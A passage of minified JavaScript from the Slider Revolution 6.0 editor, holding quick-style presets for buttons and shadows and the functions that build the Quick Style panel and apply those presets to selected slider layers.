rev-b-span-light",action:{action:"toggle_class",toggle_class:"open",tooltip_event:"click"}},{showsize:"third",fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["22px","14px","22px","14px"],br:["50%","50%","50%","50%"],bc:"rgba(255,255,255,0.75)",bs:"solid",bw:["2px","2px","2px","2px"],color:"#ffffff",ignoreIntelligent:!0,content:"<span></span><span></span><span></span>",cls:"rev-burger rev-b-span-light",action:{action:"toggle_class",toggle_class:"open",tooltip_event:"click"}},{showsize:"third",fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["22px","14px","22px","14px"],br:["50%","50%","50%","50%"],bg:"#ffffff",color:"#ffffff",ignoreIntelligent:!0,content:"<span></span><span></span><span></span>",cls:"rev-burger rev-b-span-dark",action:{action:"toggle_class",toggle_class:"open",tooltip_event:"click"}},{showsize:"third",fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["22px","14px","22px","14px"],br:["50%","50%","50%","50%"],color:"#ffffff",ignoreIntelligent:!0,content:"<span></span><span></span><span></span>",cls:"rev-burger rev-b-span-dark",action:{action:"toggle_class",toggle_class:"open",tooltip_event:"click"}},{showsize:"third",fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["22px","14px","22px","14px"],br:["50%","50%","50%","50%"],bc:"rgba(51,51,51,0.75)",bs:"solid",bw:["2px","2px","2px","2px"],color:"#ffffff",ignoreIntelligent:!0,content:"<span></span><span></span><span></span>",cls:"rev-burger rev-b-span-dark",action:{action:"toggle_class",toggle_class:"open",tooltip_event:"click"}},{showsize:"third",fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["22px","14px","22px","14px"],br:["50%","50%","50%","50%"],bg:"#333333",color:"#ffffff",ignoreIntelligent:!0,content:"<span></span><span></span><span></span>",cls:"rev-burger rev-b-span-light",action:{action:"toggle_class",toggle_class:"open",tooltip_event:"click"}},{showsize:"fourth",w:"35px",h:"55px",fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["22px","14px","22px","14px"],br:["23px","23px","23px","23px"],bc:"rgba(255,255,255,0.75)",bs:"solid",bw:["3px","3px","3px","3px"],color:"#ffffff",ignoreIntelligent:!0,content:"<span></span><span></span><span></span>",cls:"rev-scroll-btn rev-b-span-light"},{showsize:"fourth",w:"35px",h:"55px",fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["22px","14px","22px","14px"],br:["23px","23px","23px","23px"],bc:"rgba(255,255,255,0.75)",bs:"solid",bw:["3px","3px","3px","3px"],bg:"#fff",ignoreIntelligent:!0,color:"#ffffff",content:"<span></span><span></span><span></span>",cls:"rev-scroll-btn rev-b-span-dark"},{showsize:"fourth",w:"35px",h:"55px",fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["22px","14px","22px","14px"],br:["23px","23px","23px","23px"],bc:"rgba(51,51,51,0.75)",bs:"solid",bw:["3px","3px","3px","3px"],color:"#ffffff",ignoreIntelligent:!0,content:"<span></span><span></span><span></span>",cls:"rev-scroll-btn rev-b-span-dark"},{showsize:"fourth",w:"35px",h:"55px",fs:17,ff:"Roboto",lh:20,ls:1,tt:"uppercase",pd:["22px","14px","22px","14px"],br:["23px","23px","23px","23px"],bc:"rgba(51,51,51,0.75)",bs:"solid",bw:["3px","3px","3px","3px"],bg:"#333",ignoreIntelligent:!0,color:"#ffffff",content:"<span></span><span></span><span></span>",cls:"rev-scroll-btn rev-b-span-light"},{showsize:"fourth",w:"37px",h:"37px",fs:20,ff:"Roboto",lh:37,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["50%","50%","50%","50%"],bg:"#3B5998",color:"#ffffff",content:'<i class="fa-facebook-f"></i>',cls:""},{showsize:"fourth",w:"37px",h:"37px",fs:20,ff:"Roboto",lh:37,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["50%","50%","50%","50%"],bg:"#FD1D1D",color:"#ffffff",content:'<i class="fa-instagram"></i>',cls:""},{showsize:"fourth",w:"37px",h:"37px",fs:20,ff:"Roboto",lh:37,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["50%","50%","50%","50%"],bg:"#00A0D1",color:"#ffffff",content:'<i class="fa-twitter"></i>',cls:""},{showsize:"fourth",w:"37px",h:"37px",fs:20,ff:"Roboto",lh:37,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["50%","50%","50%","50%"],bg:"rgba(0,0,0,0.5)",color:"#ffffff",content:'<i class="fa-envelope"></i>',cls:""},{showsize:"fourth",w:"60px",h:"60px",fs:20,ff:"Roboto",lh:60,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["50%","50%","50%","50%"],bg:"rgba(0,0,0,0.5)",color:"#ffffff",content:'<i class="fa-play"></i>',cls:""},{showsize:"fourth",w:"60px",h:"60px",fs:20,ff:"Roboto",lh:60,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["50%","50%","50%","50%"],bg:"#ffffff",color:"#333333",content:'<i class="fa-play"></i>',cls:""},{showsize:"fourth",w:"60px",h:"60px",fs:20,ff:"Roboto",lh:60,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["5px","5px","5px","5px"],bg:"rgba(0,0,0,0.5)",color:"#ffffff",content:'<i class="fa-play"></i>',cls:""},{showsize:"fourth",w:"60px",h:"60px",fs:20,ff:"Roboto",lh:60,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["5px","5px","5px","5px"],bg:"#ffffff",color:"#333333",content:'<i class="fa-play"></i>',cls:""},{showsize:"fourth",w:"60px",h:"60px",fs:20,ff:"Roboto",lh:60,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["50%","50%","50%","50%"],bg:"rgba(0,0,0,0.5)",color:"#ffffff",content:'<i class="fa-pause"></i>',cls:""},{showsize:"fourth",w:"60px",h:"60px",fs:20,ff:"Roboto",lh:60,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["50%","50%","50%","50%"],bg:"#ffffff",color:"#333333",content:'<i class="fa-pause"></i>',cls:""},{showsize:"fourth",w:"60px",h:"60px",fs:20,ff:"Roboto",lh:60,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["5px","5px","5px","5px"],bg:"rgba(0,0,0,0.5)",color:"#ffffff",content:'<i class="fa-pause"></i>',cls:""},{showsize:"fourth",w:"60px",h:"60px",fs:20,ff:"Roboto",lh:60,ta:"center",tt:"uppercase",pd:["0","0","0","0"],br:["5px","5px","5px","5px"],bg:"#ffffff",color:"#333333",content:'<i class="fa-pause"></i>',cls:""}],shadows:[{showsize:"half",box_hoff:"0px",box_voff:"0px",box_blur:"0px",box_spread:"0px",box_color:"rgba(0,0,0,0.5)",box_inset:!1},{showsize:"half",box_hoff:"5px",box_voff:"0px",box_blur:"10px",box_spread:"0px",box_color:"rgba(0,0,0,0.25)",box_inset:!1},{showsize:"half",box_hoff:"0px",box_voff:"10px",box_blur:"10px",box_spread:"0px",box_color:"rgba(0,0,0,0.25)",box_inset:!1},{showsize:"half",box_hoff:"5px",box_voff:"5px",box_blur:"10px",box_spread:"0px",box_color:"rgba(0,0,0,0.15)",box_inset:!1},{showsize:"half",text_hoff:"7px",text_voff:"7px",text_blur:"10px",text_color:"rgba(0,0,0,0.75)"},{showsize:"half",text_hoff:"5px",text_voff:"0px",text_blur:"10px",text_color:"rgba(0,0,0,0.75)"},{showsize:"half",text_hoff:"0px",text_voff:"10px",text_blur:"10px",text_color:"rgba(0,0,0,0.75)"},{showsize:"half",text_hoff:"15px",text_voff:"15px",text_blur:"20px",text_color:"rgba(0,0,0,0.45)"}]}),RVS.LIB.QS_CONT={headlines:"Headline",content:"Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam vestibulum orci at leo..."},function(){function e(e){return e.ls=void 0===e.ls?0:e.ls,e.fw=void 0===e.fw?400:e.fw,e.fst=void 0===e.fst?"normal":e.fst,e.pd=void 0===e.pd?["0px","0px","0px","0px"]:e.pd,e.br=void 0===e.br?["0px","0px","0px","0px"]:e.br,e.bg=void 0===e.bg?"transparent":e.bg,e.bs=void 0===e.bs?"none":e.bs,e.tt=void 0===e.tt?"none":e.tt,e}function t(e,t){var i=e.closest(".quick_style_dep_all");RVS.LIB.QS[e[0].dataset.cont+"_color"]="dark"===t?"#000":"#fff",i.find(".quick_colorchange_"+("dark"===t?"light":"dark")).removeClass("selected"),tpGS.gsap.to(i.find(".quick_style_example_content"),.2,{color:RVS.LIB.QS[e[0].dataset.cont+"_color"]}),tpGS.gsap.to(i.find(".quick_style_example_wrap"),.2,{backgroundColor:"dark"===t?"#fff":"#202224"}),i.removeClass("light").removeClass("dark").addClass(t),e.addClass("selected")}function i(){var e=-1;for(var t in window.qstyle_scroll_targets)window.qstyle_scroll_targets[t].obj.length>0&&window.qstyle_scroll_targets[t].enable&&(window.qstyle_scroll_targets[t].top=window.qstyle_scroll_targets[t].obj.offset().top-100,window.qstyle_scroll_targets[t].height=window.qstyle_scroll_targets[t].obj.height(),30>=window.qstyle_scroll_targets[t].top&&0<=window.qstyle_scroll_targets[t].top+window.qstyle_scroll_targets[t].height&&(e=t));e=-1===e?window.qstyle_scroll_targets.length-1:e,jQuery(".quick_style_menu_point").removeClass("active"),window.qstyle_scroll_targets[e].menu.addClass("active")}RVS.F.initQuickStyle=function(){RVS.DOC.on("click",".quick_colorchange_dark",function(){t(jQuery(this),"dark")}),RVS.DOC.on("click",".quick_colorchange_light",function(){t(jQuery(this),"light")}),RVS.DOC.on("quickstyletrigger",function(){RVS.F.openQuickStyle(!1)}),RVS.DOC.on("click","#quick_style_close",RVS.F.closeQuickStyle),RVS.DOC.on("showQuickStyle",RVS.F.showQuickStyle),RVS.DOC.on("click",".quick_style_example",function(){var t=this.dataset.qstyletype,i=jQuery.extend(!0,{},RVS.LIB.QS[t][this.dataset.qstyleindex]),a=this.dataset.layertype;if(RVS.F.updateScreenShrinks(),i=e(i),0===RVS.selLayers.length){if("textshadow"===a||"boxshadow"===a)return;var r=RVS.F.addLayer({type:a,forceSelect:!0});RVS.F.selectLayers({id:r,overwrite:!0,action:"add"})}for(var s in void 0===RVS.S.qstyleBackupGroup&&RVS.F.openBackupGroup({id:"quickstyle",txt:"Quick Style Change",icon:"invert_colors"}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(s)){var o=RVS.S.slideId+".layers."+RVS.selLayers[s]+".",n=!1;switch(a){case"text":case"button":if("text"===RVS.L[RVS.selLayers[s]].type&&"text"===a||"button"===RVS.L[RVS.selLayers[s]].type&&"button"===a){var l;if(i.ignoreIntelligent?(RVS.F.updateSliderObj({path:o+"behavior.intelligentInherit",val:!1}),RVS.F.updateSliderObj({path:o+"behavior.autoResponsive",val:!1}),RVS.F.updateSliderObj({path:o+"behavior.responsiveOffset",val:!1}),RVS.F.updateSliderObj({path:o+"behavior.responsiveChilds",val:!1}),n=!1):n=!0,"text"!==a||"headlines"!==t&&"content"!==t||RVS.F.updateSliderObj({path:o+"idle.color.d.v",val:RVS.LIB.QS[t+"_color"]}),void 0!==i.fs&&RVS.F.updateSliderObj({path:o+"idle.fontSize.d.v",val:i.fs}),void 0!==i.w?RVS.F.updateSliderObj({path:o+"size.width.d.v",val:i.w}):RVS.F.updateSliderObj({path:o+"size.width.d.v",val:"auto"}),void 0!==i.h?RVS.F.updateSliderObj({path:o+"size.height.d.v",val:i.h}):RVS.F.updateSliderObj({path:o+"size.height.d.v",val:"auto"}),void 0!==i.h&&"auto"!==i.h?RVS.F.updateSliderObj({path:o+"size.minHeight.d.v",val:i.h}):RVS.F.updateSliderObj({path:o+"size.minHeight.d.v",val:"0px"}),void 0!==i.w?RVS.F.updateSliderObj({path:o+"size.minWidth.d.v",val:i.w}):RVS.F.updateSliderObj({path:o+"size.minWidth.d.v",val:"none"}),void 0!==i.lh&&RVS.F.updateSliderObj({path:o+"idle.lineHeight.d.v",val:i.lh}),void 0!==i.ls&&RVS.F.updateSliderObj({path:o+"idle.letterSpacing.d.v",val:i.ls}),void 0!==i.fw&&RVS.F.updateSliderObj({path:o+"idle.fontWeight.d.v",val:i.fw}),void 0!==i.fst&&RVS.F.updateSliderObj({path:o+"idle.fontStyle",val:"italic"===i.fst}),void 0!==i.ff&&RVS.F.updateSliderObj({path:o+"idle.fontFamily",val:i.ff}),void 0!==i.ta&&RVS.F.updateSliderObj({path:o+"idle.textAlign.d.v",val:i.ta}),void 0!==i.tt&&RVS.F.updateSliderObj({path:o+"idle.textTransform",val:i.tt}),void 0!==i.pd&&RVS.F.updateSliderObj({path:o+"idle.padding.d.v",val:i.pd}),void 0!==i.bg&&RVS.F.updateSliderObj({path:o+"idle.backgroundColor",val:i.bg}),void 0!==i.br&&RVS.F.updateSliderObj({path:o+"idle.borderRadius.v",val:i.br}),void 0!==i.bc&&RVS.F.updateSliderObj({path:o+"idle.borderColor",val:i.bc}),void 0!==i.bw&&RVS.F.updateSliderObj({path:o+"idle.borderWidth",val:i.bw}),void 0!==i.bs&&RVS.F.updateSliderObj({path:o+"idle.borderStyle.d.v",val:i.bs}),void 0!==i.bxc?(RVS.F.updateSliderObj({path:o+"idle.boxShadow.inuse",val:!0}),RVS.F.updateSliderObj({path:o+"idle.boxShadow.hoffset.d.v",val:i.bxh}),RVS.F.updateSliderObj({path:o+"idle.boxShadow.voffset.d.v",val:i.bxv}),RVS.F.updateSliderObj({path:o+"idle.boxShadow.blur.d.v",val:i.bxb}),RVS.F.updateSliderObj({path:o+"idle.boxShadow.spread.d.v",val:i.bxs}),RVS.F.updateSliderObj({path:o+"idle.boxShadow.color",val:i.bxc})):RVS.F.updateSliderObj({path:o+"idle.boxShadow.inuse",val:!1}),void 0!==i.color&&RVS.F.updateSliderObj({path:o+"idle.color.d.v",val:i.color}),void 0!==i.cls?RVS.F.updateSliderObj({path:o+"runtime.internalClass",val:i.cls}):RVS.F.updateSliderObj({path:o+"runtime.internalClass",val:""}),void 0!==i.action&&void 0!==(l=void 0!==RVS.L[RVS.selLayers[s]]&&void 0!==RVS.L[RVS.selLayers[s]].actions&&void 0!==RVS.L[RVS.selLayers[s]].actions.action?RVS.L[RVS.selLayers[s]].actions.action:void 0)){var d=!1;for(var S in l)!0!==d&&(d="toggle_class"===l[S].action&&""+l[S].layer_target==""+RVS.selLayers[s]&&"open"===l[S].toggle_class);i.action.layer_target=""+RVS.selLayers[s],!1===d&&l.push(i.action)}null!=i.content&&"button"===a&&(RVS.F.updateSliderObj({path:o+"text",val:i.content}),RVS.H[RVS.selLayers[s]].c.html(i.content)),void 0!==i.hs?(RVS.F.updateSliderObj({path:o+"hover.usehover",val:!0}),RVS.F.updateSliderObj({path:o+"hover.speed",val:i.hs}),void 0!==i.hc&&RVS.F.updateSliderObj({path:o+"hover.color",val:i.hc}),void 0!==i.hbg?RVS.F.updateSliderObj({path:o+"hover.backgroundColor",val:i.hbg}):void 0!==i.bg&&RVS.F.updateSliderObj({path:o+"hover.backgroundColor",val:i.bg}),void 0!==i.br&&RVS.F.updateSliderObj({path:o+"hover.borderRadius.v",val:i.br}),void 0!==i.hbc?RVS.F.updateSliderObj({path:o+"hover.borderColor",val:i.hbc}):void 0!==i.bc&&RVS.F.updateSliderObj({path:o+"hover.borderColor",val:i.bc}),void 0!==i.ease&&RVS.F.updateSliderObj({path:o+"hover.ease",val:i.ease}),void 0!==i.hfb&&(RVS.F.updateSliderObj({path:o+"hover.filter.grayscale",val:i.hfg}),RVS.F.updateSliderObj({path:o+"hover.filter.brightness",val:i.hfb}),RVS.F.updateSliderObj({path:o+"hover.filter.blir",val:i.hfbl})),void 0!==i.bw&&RVS.F.updateSliderObj({path:o+"hover.borderWidth",val:i.bw}),void 0!==i.bs&&RVS.F.updateSliderObj({path:o+"hover.borderStyle",val:i.bs})):RVS.F.updateSliderObj({path:o+"hover.usehover",val:!1}),void 0!==i.callback&&void 0!==RVS.F.updateQuickStyleObject&&void 0!==RVS.F.updateQuickStyleObject[i.callback]&&RVS.F.updateQuickStyleObject[i.callback](i,o,s)}break;case"boxshadow":RVS.F.updateSliderObj({path:o+"idle.boxShadow.hoffset.d.v",val:i.box_hoff}),RVS.F.updateSliderObj({path:o+"idle.boxShadow.voffset.d.v",val:i.box_voff}),RVS.F.updateSliderObj({path:o+"idle.boxShadow.blur.d.v",val:i.box_blur}),RVS.F.updateSliderObj({path:o+"idle.boxShadow.spread.d.v",val:i.box_spread}),RVS.F.updateSliderObj({path:o+"idle.boxShadow.color",val:i.box_color}),RVS.F.updateSliderObj({path:o+"idle.boxShadow.inuse",val:!0});break;case"textshadow":RVS.F.updateSliderObj({path:o+"idle.textShadow.hoffset.d.v",val:i.text_hoff}),RVS.F.updateSliderObj({path:o+"idle.textShadow.voffset.d.v",val:i.text_voff}),RVS.F.updateSliderObj({path:o+"idle.textShadow.blur.d.v",val:i.text_blur}),RVS.F.updateSliderObj({path:o+"idle.textShadow.color",val:i.text_color}),RVS.F.updateSliderObj({path:o+"idle.textShadow.inuse",val:!0})}RVS.F.intelligentUpdateValuesOnLayer(RVS.selLayers[s]),n&&RVS.F.setToIntelligentUpdate(!0),!1!==n&&RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+RVS.selLayers[s]+".behavior.intelligentInherit",val:!0}),RVS.F.drawHTMLLayer({uid:RVS.selLayers[s]})}void 0===RVS.S.qstyleBackupGroup&&RVS.F.closeBackupGroup({id:"quickstyle"}),RVS.F.updateLayerInputFields()}),RVS.DOC.on("click",".quick_style_menu_point",function(){i();var e={val:jQuery("#quick_style_scrollable").scrollTop()},t=e.val+window.qstyle_scroll_targets[this.dataset.ostref].top;tpGS.gsap.to(e,.6,{val:t,onUpdate:function(){jQuery("#quick_style_scrollable").scrollTop(e.val)},ease:"power3.out"}),i()}),RVS.DOC.on("mouseenter",".quick_style_example_content, .forms_quick_style_example_content",function(){if(void 0!==this.dataset.hoverspeed){var e=jQuery(this);if(void 0===e.data("hoveranim")){var t=tpGS.gsap.timeline(),i={color:this.dataset.hovercolor,backgroundColor:this.dataset.hoverbgcolor};void 0!==this.dataset.hoverbordercolor&&"undefined"!==this.dataset.hoverbordercolor&&(i.borderColor=this.dataset.hoverbordercolor),void 0!==this.dataset.filterbrightness&&"undefined"!==this.dataset.filterbrightness&&(i.filter="blur("+this.dataset.filterblur+"px) grayscale("+this.dataset.filtergrayscale+"%) brightness("+this.dataset.filterbrightness+")",i["-webkit-filter"]="blur("+this.dataset.filterblur+"px) grayscale("+this.dataset.filtergrayscale+"%) brightness("+this.dataset.filterbrightness+")",tpGS.gsap.set(this,{filter:"blur(0px) grayscale(0%) brightness(100%)","-webkit-filter":"blur(0px) grayscale(0%) brightness(100%)"})),void 0!==this.dataset.ease&&(i.ease=this.dataset.ease),t.add(tpGS.gsap.to(this,this.dataset.hoverspeed/1e3,i)),e.data("hoveranim",t)}e.data("hoveranim").play()}}),RVS.DOC.on("mouseleave",".quick_style_example_content, .forms_quick_style_example_content",function(){void 0!==this.dataset.hoverspeed&&jQuery(this).data("hoveranim").reverse()})},RVS.F.openQuickStyle=function(t){jQuery("#quick_style_trigger").addClass("selected"),RVS.S.qstyleBackupGroup=null==t||void 0===t.bacupGroupOpen?void 0:t.bacupGroupOpen,RVS.S.qstyle_library_open=!0,RVS.S.qstyleParams=t,window.quickStyleExists?RVS.F.showQuickStyle():(!function(){RVS.F.showWaitAMinute({fadeIn:100,text:"Building Quick Style Library"});var t={},a=[];RVS.F.buildQuickStyleExtensionMenu=void 0===RVS.F.buildQuickStyleExtensionMenu?{}:RVS.F.buildQuickStyleExtensionMenu;var r='<div id="quick_style"><div id="quick_style_inner">';for(var s in r+='<div id="quick_style_menu">',RVS.LIB.QS)RVS.LIB.QS.hasOwnProperty(s)&&(r+='<div data-ref="#quick_style_dep_'+s+'" data-library="'+s+'" id="quick_style_menu_'+s+'" class="quick_style_menu_point">'+RVS_LANG["qs_"+s]+"</div>",void 0!==RVS.F.buildQuickStyleExtensionMenu[s]&&(r+=RVS.F.buildQuickStyleExtensionMenu[s](n)));for(var s in r+='<div id="quick_style_close"><i class="material-icons">close</i></div>',r+="</div>",r+='<div id="quick_style_scrollable_wrap"><div id="quick_style_scrollable">',RVS.LIB.QS)if(RVS.LIB.QS.hasOwnProperty(s)){for(var o in r+='<div id="quick_style_dep_'+s+'" class="quick_style_dep_all"><div class="quick_style_dep">'+RVS_LANG["qs_"+s]+("headlines"===s||"content"===s?'<div data-cont="'+s+'" class="quick_colorchange_dark"></div><div data-cont="'+s+'"  class="quick_colorchange_light selected"></div>':"")+"</div>",RVS.LIB.QS[s])if(RVS.LIB.QS[s].hasOwnProperty(o)){var n=jQuery.extend(!0,{},RVS.LIB.QS[s][o]),l=!1;switch(n=e(n),s){case"headlines":case"content":var d=void 0!==n.bc&&void 0!==n.bw&&void 0!==n.bs?"border-style:"+n.bs+";border-width:"+n.bw[0]+" "+n.bw[1]+" "+n.bw[2]+" "+n.bw[3]+";border-color:"+n.bc+";":"";r+='<div class="quick_style_example_wrap"><div class="quick_style_example" data-layertype="text" data-qstyletype="'+s+'" data-qstyleindex="'+o+'"><div class="qsec_info">'+n.ff+","+n.fs+"px,"+n.fw+'</div><div class="quick_style_example_content" style="'+("headlines"===s?"white-space:nowrap;":"")+d+(void 0!==n.tt?"text-transform:"+n.tt+";":"")+"font-style:"+n.fst+"; font-family:"+n.ff+";font-size:"+n.fs+"px; font-weight:"+n.fw+";line-height:"+n.lh+"px;letter-spacing:"+n.ls+'px">'+(void 0!==n.content?n.content:RVS.LIB.QS_CONT[s])+"</div></div></div>",l=!0;break;case"buttons":var d=void 0!==n.bc&&void 0!==n.bw&&void 0!==n.bs?"border-style:"+n.bs+";border-width:"+n.bw[0]+" "+n.bw[1]+" "+n.bw[2]+" "+n.bw[3]+";border-color:"+n.bc+";":"",S=void 0!==n.hs?'data-ease="'+n.ease+'" data-filterbrightness="'+n.hfb+'" data-filtergrayscale="'+n.hfg+'" data-filterblur="'+n.hfbl+'" data-hoverbordercolor="'+n.hbc+'" data-hovercolor="'+n.hc+'" data-hoverspeed="'+n.hs+'" data-hoverbgcolor="'+n.hbg+'" ':"",c=void 0!==n.w?"width:"+n.w+";":"";c=void 0!==n.h?c+"height:"+n.h+";":c,r+='<div class="quick_style_example_wrap '+(void 0!==n.showsize?"qsew_"+n.showsize:"")+'"><div class="quick_style_example" data-layertype="button" data-qstyletype="'+s+'" data-qstyleindex="'+o+'"><div class="quick_style_example_content '+n.cls+'" '+S+' style="'+d+c+(void 0!==n.tt?"text-transform:"+n.tt+";":"")+(void 0!==n.ta?"text-align:"+n.ta+";":"")+(void 0!==n.bxc?"box-shadow:"+n.bxh+" "+n.bxv+" "+n.bxb+" "+n.bxs+" "+n.bxc+";":"")+"border-radius:"+n.br[0]+" "+n.br[1]+" "+n.br[2]+" "+n.br[3]+";padding:"+n.pd[0]+" "+n.pd[1]+" "+n.pd[2]+" "+n.pd[3]+";background:"+window.RSColor.get(n.bg)+";font-style:"+n.fst+"; font-family:"+n.ff+";font-size:"+n.fs+"px; color:"+n.color+";font-weight:"+n.fw+";line-height:"+n.lh+"px;letter-spacing:"+n.ls+'px">'+n.content+"</div></div></div>",l=!0;break;case"shadows":void 0!==n.box_hoff?r+='<div class="quick_style_example_wrap '+(void 0!==n.showsize?"qsew_"+n.showsize:"")+'"><div class="quick_style_example qse_boxshadow" data-layertype="boxshadow" data-qstyletype="'+s+'" data-qstyleindex="'+o+'" style="box-shadow:'+n.box_hoff+" "+n.box_voff+" "+n.box_blur+" "+n.box_spread+" "+n.box_color+'"></div></div>':r+='<div class="quick_style_example_wrap '+(void 0!==n.showsize?"qsew_"+n.showsize:"")+'"><div class="quick_style_example qse_textshadow" data-layertype="textshadow" data-qstyletype="'+s+'" data-qstyleindex="'+o+'" style="text-shadow:'+n.text_hoff+" "+n.text_voff+" "+n.text_blur+" "+n.text_color+'">Shadow</div></div>';break;default:RVS.F.buildQuickStyleExtension=void 0===RVS.F.buildQuickStyleExtension?{}:RVS.F.buildQuickStyleExtension,void 0!==RVS.F.buildQuickStyleExtension[s]&&(r+=RVS.F.buildQuickStyleExtension[s](o,n),l=!0)}if(l){var p=n.ff.replace(/\ /g,"_");for(var u in t[p]=void 0===t[p]?{family:p,weights:[],italic:!1}:t[p],t[p].font=n.ff,t[p].italic=!0===t[p].italic||n.fst,RVS.V.sizes)RVS.V.sizes.hasOwnProperty(u)&&-1===t[p].weights.toString().indexOf(n.fw)&&t[p].weights.push(n.fw)}}r+="</div>"}for(var s in r+="</div></div>",r+="</div></div>",window.qstyle_container=jQuery(r),window.qstyle_scroll_targets=[],t)if(t.hasOwnProperty(s)){var R=RVS.F.loadSingleFont(t[s]);void 0!==R&&a.push(R)}RVS.F.showWaitAMinute({fadeOut:500,text:"Building Quick Style Library"}),RVS.F.do_google_font_load(a,void 0,"showQuickStyle"),RVS.C.theEditor.append(window.qstyle_container);var V=0;jQuery(".quick_style_menu_point").each(function(){void 0!==this.dataset.ref&&(window.qstyle_scroll_targets.push({enable:!0,library:this.dataset.library,obj:jQuery(this.dataset.ref),top:jQuery(this.dataset.ref).offset().top,height:jQuery(this.dataset.ref).height(),menu:jQuery(this),menu_js:this}),this.dataset.ostref=V,V++)}),jQuery("#quick_style_scrollable").RSScroll({wheelPropagation:!1}),jQuery("#quick_style_scrollable").on("scroll",i)}(),window.quickStyleExists=!0)},RVS.F.showQuickStyle=function(){RVS.F.updateAvailableLayerTypes(),tpGS.gsap.to("#quick_style",.4,{width:320,display:"block",ease:"power3.inOut"}),tpGS.gsap.to("#quick_style_inner",.4,{left:0,ease:"power3.inOut"}),setTimeout(i,400)},RVS.F.updateAvailableLayerTypes=function(){if(RVS.S.qstyle_library_open){window.quickstylefilter=[];var e=!1,t=!1,i=!1,a=!1,r=!1;if(RVS.F.qstyleParamsListCase=void 0===RVS.F.qstyleParamsListCase?{}:RVS.F.qstyleParamsListCase,void 0!==RVS.S.qstyleParams.list&&Array.isArray(RVS.S.qstyleParams.list)){for(var s in RVS.S.qstyleParams.list)if(RVS.S.qstyleParams.list.hasOwnProperty(s))switch(RVS.S.qstyleParams.list[s]){case"button":e||(window.quickstylefilter.push("buttons"),a=!1===a?"buttons":a,e=!0);break;case"content":i||(window.quickstylefilter.push("content"),a=!1===a?"content":a,i=!0);break;case"headlines":case"text":t||(window.quickstylefilter.push("headlines"),a=!1===a?"headlines":a,t=!0);break;default:void 0!==RVS.F.qstyleParamsListCase[RVS.S.qstyleParams.list[s]]&&-1===window.quickstylefilter.indexOf(RVS.S.qstyleParams.list[s])&&(r=RVS.F.qstyleParamsListCase[RVS.S.qstyleParams.list[s]](RVS.S.qstyleParams.list[s]))}}else for(var s in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(s))if(void 0!==RVS.L[RVS.selLayers[s]].subsubtype&&void 0!==RVS.LIB.QS[RVS.L[RVS.selLayers[s]].subsubtype])RVS.L[RVS.selLayers[s]].subsubtype,RVS.F.qstyleParamsListCase[RVS.L[RVS.selLayers[s]].subsubtype]&&-1==window.quickstylefilter.indexOf(RVS.L[RVS.selLayers[s]].subsubtype)&&(r=RVS.F.qstyleParamsListCase[RVS.L[RVS.selLayers[s]].subsubtype](RVS.L[RVS.selLayers[s]].subsubtype));else switch(RVS.L[RVS.selLayers[s]].type){case"button":e||(window.quickstylefilter.push("buttons"),e=!0);break;case"text":t||(window.quickstylefilter.push("headlines"),window.quickstylefilter.push("content"),t=!0,i=!0,a="headlines")}for(var o in 0===window.quickstylefilter.length&&(window.quickstylefilter.push("headlines"),window.quickstylefilter.push("content"),window.quickstylefilter.push("buttons")),r||-1!==jQuery.inArray("shadows",window.quickstylefilter)||window.quickstylefilter.push("shadows"),jQuery(".quick_style_dep_all").hide(),jQuery(".quick_style_menu_point").hide(),window.qstyle_scroll_targets)window.qstyle_scroll_targets.hasOwnProperty(o)&&(jQuery.inArray(window.qstyle_scroll_targets[o].library,window.quickstylefilter)>=0?window.qstyle_scroll_targets[o].enable=!0:window.qstyle_scroll_targets[o].enable=!1);for(var o in window.quickstylefilter)window.quickstylefilter.hasOwnProperty(o)&&(jQuery("#quick_style_dep_"+window.quickstylefilter[o]).show(),jQuery("#quick_style_menu_"+window.quickstylefilter[o]).show());!1!==a&&setTimeout(function(){jQuery("#quick_style_menu_"+a).trigger("click")},400)}},RVS.F.closeQuickStyle=function(){void 0!==RVS.S.qstyleBackupGroup&&RVS.F.closeBackupGroup({id:RVS.S.qstyleBackupGroup}),RVS.S.qstyleBackupGroup=void 0,RVS.S.qstyle_library_open=!1,tpGS.gsap.to("#quick_style",.4,{width:0,display:"none",ease:"power3.inOut"}),tpGS.gsap.to("#quick_style_inner",.4,{left:-270,ease:"power3.inOut"}),jQuery("#quick_style_trigger").removeClass("selected")}}(),
/*!
 * REVOLUTION 6.0.0 EDITOR RIGHTCLICK JS
 * @version: 1.0 (01.07.2019)
 * @author ThemePunch
*/
